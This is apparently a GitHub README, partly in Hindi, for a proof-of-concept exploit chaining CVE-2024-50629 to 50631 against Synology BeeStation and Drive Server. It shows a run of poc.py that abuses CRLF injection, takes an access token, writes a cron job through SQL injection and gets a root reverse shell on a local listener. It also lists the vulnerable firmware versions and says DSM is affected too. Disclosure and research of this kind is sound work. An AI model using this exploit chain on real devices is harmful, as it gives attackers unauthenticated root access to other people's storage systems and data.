CVE-2024-50629~50631

Pre-auth RCE N-day exploitation of Synology BeeStation.

विस्तार: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron

https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1

$ python3 poc.py 192.168.88.248 192.168.88.254
[*] LISTENER listening on port 1337...
[*] CRLF username: kiddo.pwn
[*] AUTH access token: 2d6a6ecf6456f4b4787e50f5f0c0e648
[*] SQLI wrote: /etc/cron.d/pwn.task
[+] EXP shell will drop within 1 min...
bash: cannot set terminal process group (18187): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-4.4# hostname
hostname
BeeStation
bash-4.4#

परीक्षण वातावरण

उपकरण: Synology BeeStation BST150-4T
ऑपरेटिंग सिस्टम: BSM 1.1-65373
पैकेज: Synology Drive Server BSM 3.4.1-25823

नोट: यह एक्सप्लॉइट मानक DSM (7.2.2-72806) + Synology Drive Server (3.5.1-26101) के असुरक्षित संस्करणों पर भी समान रूप से काम करता है।

CVE-2024-50629_50631

सबसे लोकप्रिय

CVE-2024-50629~50631

परीक्षण वातावरण